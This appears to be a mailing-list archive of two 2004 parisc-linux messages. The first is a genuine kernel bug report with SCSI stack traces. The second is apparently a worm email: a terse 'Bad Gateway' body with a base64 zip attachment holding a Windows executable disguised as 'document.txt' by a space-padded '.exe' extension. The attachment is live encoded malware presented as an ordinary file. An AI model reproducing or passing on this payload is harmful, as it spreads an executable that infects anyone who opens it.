AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAACIiIiIiIiIiIiIiIiIgAAAj////////////////4AAAIf///////////////eAAACP
f/////////////9/gAAAj/f////////////3/4AAAI//f///////////f/+AAACP//f/////
////9///gAAAj///f////////3///4AAAI////f///////f///+AAACP//93d3d3d3d3f///
gAAAj//3f39/f39/f3f//4AAAI//d/f39/f39/f3f/+AAACP939/f39/f39/f3f/gAAAh3f3
9/f39/f39/f3d4AAAI9/f39/f39/f39/f3+AAACP////////////////AAAACP//////////
////8AAAAACP/////////////wAAAAAACP////////////AAAAAAAACP//////////8AAAAA
AAAACP/////////wAAAAAAAAA


From - Thu Nov 08 21:32:01 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: NCR53c720
Date: Tue, 4 May 2004 09:22:50 +0200
Lines: 110
Approved: news@gmane.org
Message-ID: <408D439D00004F55@ocpmta3.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623432 9240 80.91.229.3 (22 Nov 2014 02:30:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:30:32 +0000 (UTC)
Cc: willy@debian.org, James.Bottomley@steeleye.com, grundler@parisc-linux.org
To: "List Parisc" <parisc-linux@lists.parisc-linux.org>
Original-X-From: soete.joel@tiscali.be  Tue May  4 01:23:31 2004
Return-Path: <soete.joel@tiscali.be>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout1.tiscali.be (cpout1.tiscali.be [62.235.13.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2AD0A482B
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  4 May 2004 01:23:31 -0600 (MDT)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout1.tiscali.be with esmtp (Tiscali) 
	id 1BKuGQ-0004wk-00; Tue, 04 May 2004 09:22:50 +0200
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP;
	Tue, 4 May 2004 09:22:50 +0200
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Tue, 04 May 2004 07:23:31 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21599

Hello all,

There was a thread:: <http://lists.parisc-linux.org/pipermail/parisc-linux/2003-September/021172.html>

which would help me to find the right direction to solve this pb:
<http://lists.parisc-linux.org/pipermail/parisc-linux/2004-April/022968.html>

The only new think I discover became when I reboot a kernel build with gcc-3.0:
[snip]
: arq->state 2
Badness in as_requeue_request at drivers/block/as-iosched.c:1479
Kernel addresses on the stack:
 [<10127830>] printk+0x12c/0x1b0
 [<10107d64>] dump_stack+0x18/0x24
 [<1022b21c>] as_requeue_request+0x64/0x108
 [<102225c0>] elv_requeue_request+0x3c/0x64
 [<102250a8>] blk_insert_request+0x4c/0xf8
 [<1024f418>] scsi_queue_insert+0x6c/0xa0
 [<102642d8>] ncr_wakeup_done+0x90/0xc0
 [<1024b578>] scsi_softirq+0xcc/0x128
 [<1024b498>] scsi_done+0x5c/0x70
 [<1012b504>] __do_softirq+0x60/0xcc
 [<10109428>] do_irq+0xa4/0x160
 [<1010231c>] __scheduling_functions_end_here+0x3c/0x48
 [<10109574>] do_cpu_irq_mask+0x90/0xf0
 [<1010d068>] intr_return+0x0/0x14
 [<102632a4>] ncr_start_next_ccb+0xdc/0x104
 [<10145e6c>] kmem_cache_alloc+0x3c/0x4c
 [<1015d69c>] get_empty_filp+0x64/0x11c
 [<1015bc80>] dentry_open+0x12c/0x1b4
 [<1016f8b0>] locate_fd+0xfc/0x190
 [<10145e64>] kmem_cache_alloc+0x34/0x4c
 [<10140530>] mempool_alloc+0xac/0x184
 [<10225fcc>] generic_make_request+0x15c/0x1fc
 [<101ab458>] __journal_remove_journal_head+0x144/0x1e4
 [<10162b28>] bio_alloc+0x14c/0x1bc
 [<102260e0>] submit_bio+0x74/0x154
 [<10162234>] submit_bh+0x8c/0x16c
 [<10162388>] ll_rw_block+0x74/0x140
 [<101a6fc4>] journal_brelse_array+0x2c/0x44
 [<101a6f04>] journal_commit_transaction+0xfdc/0x1070
 [<101ee0cc>] vsnprintf+0x6a4/0x8cc
 [<101a94ac>] kjournald+0xc8/0x220
 [<1015cb58>] sys_write+0x4c/0x84
 [<10129b34>] do_group_exit+0x84/0xbc
 [<1010a35c>] tracesys_exit+0x0/0x34
 [<1010cc5c>] ret_from_kernel_thread+0x1c/0x24

kernel BUG at include/linux/blkdev.h:562!
Kernel addresses on the stack:
 [<10127830>] printk+0x12c/0x1b0
 [<10107d64>] dump_stack+0x18/0x24
 [<10250630>] scsi_request_fn+0x2b4/0x388
 [<102225c0>] elv_requeue_request+0x3c/0x64
 [<10225110>] blk_insert_request+0xb4/0xf8
 [<1024f418>] scsi_queue_insert+0x6c/0xa0
 [<102642d8>] ncr_wakeup_done+0x90/0xc0
 [<1024b578>] scsi_softirq+0xcc/0x128
 [<1024b498>] scsi_done+0x5c/0x70
 [<1012b504>] __do_softirq+0x60/0xcc
 [<10109428>] do_irq+0xa4/0x160
 [<1010231c>] __scheduling_functions_end_here+0x3c/0x48
 [<10109574>] do_cpu_irq_mask+0x90/0xf0
 [<1010d068>] intr_return+0x0/0x14
 [<102632a4>] ncr_start_next_ccb+0xdc/0x104
 [<10145e6c>] kmem_cache_alloc+0x3c/0x4c
 [<1015d69c>] get_empty_filp+0x64/0x11c
 [<1015bc80>] dentry_open+0x12c/0x1b4
 [<1016f8b0>] locate_fd+0xfc/0x190
 [<10145e64>] kmem_cache_alloc+0x34/0x4c
 [<10140530>] mempool_alloc+0xac/0x184
 [<10225fcc>] generic_make_request+0x15c/0x1fc
 [<101ab458>] __journal_remove_journal_head+0x144/0x1e4
 [<10162b28>] bio_alloc+0x14c/0x1bc
 [<102260e0>] submit_bio+0x74/0x154
 [<10162234>] submit_bh+0x8c/0x16c
 [<10162388>] ll_rw_block+0x74/0x140
 [<101a6fc4>] journal_brelse_array+0x2c/0x44
 [<101a6f04>] journal_commit_transaction+0xfdc/0x1070
 [<101ee0cc>] vsnprintf+0x6a4/0x8cc
 [<101a94ac>] kjournald+0xc8/0x220
 [<1015cb58>] sys_write+0x4c/0x84
 [<10129b34>] do_group_exit+0x84/0xbc
 [<1010a35c>] tracesys_exit+0x0/0x34
 [<1010cc5c>] ret_from_kernel_thread+0x1c/0x24

[snip]

which makes appear ncr_wakeup_done() and ncr_start_next_ccb() but I don't
yet reach to figure out why the work-around which consist of commenting 'parisc_vmerge_max_size
= ...' into ccio-dma.c make the stuff working (that just let parisc_vmerge_max_size
=0 as initialized in gsc.c)

I also try to compare ncr_start_next_ccb with its sister sym_ and discover
that there was a improved way to manage requeing but I don't find how to
manage such changes (new ncr53720 files, a sym53c7xx_2 tree, ...). 

Any idea?

Thanks for yoyr attention,
    Joel

----------------------------------------------------------------------------------------
Tiscali ADSL, 27,50 /mois...pendant 6 mois. 
La meilleure offre du march !
http://reg.tiscali.be/default.asp?lg=fr





From - Thu Nov 08 21:32:01 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: psheedy@whschool.org
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: Delivery Protection
Date: Tue, 4 May 2004 14:33:50 -0400
Lines: 577
Approved: news@gmane.org
Message-ID: <20040504183555.2BB144840@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
	boundary="----=_NextPart_000_0016----=_NextPart_000_0016"
X-Trace: ger.gmane.org 1416623432 9243 80.91.229.3 (22 Nov 2014 02:30:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:30:32 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: psheedy@whschool.org  Tue May  4 12:35:58 2004
Return-Path: <psheedy@whschool.org>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from parisc-linux.org (pcp09118634pcs.union01.nj.comcast.net
	[69.142.236.70])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2BB144840
	for <parisc-linux@parisc-linux.org>;
	Tue,  4 May 2004 12:35:55 -0600 (MDT)
X-Priority: 3
X-MSMail-Priority: Normal
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Tue, 04 May 2004 18:35:58 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21600

This is a multi-part message in MIME format.

------=_NextPart_000_0016----=_NextPart_000_0016
Content-Type: text/plain;
	charset="Windows-1252"
Content-Transfer-Encoding: 7bit


Bad Gateway: The message has been attached.



------=_NextPart_000_0016----=_NextPart_000_0016
Content-Type: application/octet-stream;
	name="data_parisc-linux.zip"
Content-Transfer-Encoding: base64
Content-Disposition: attachment;
	filename="data_parisc-linux.zip"

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
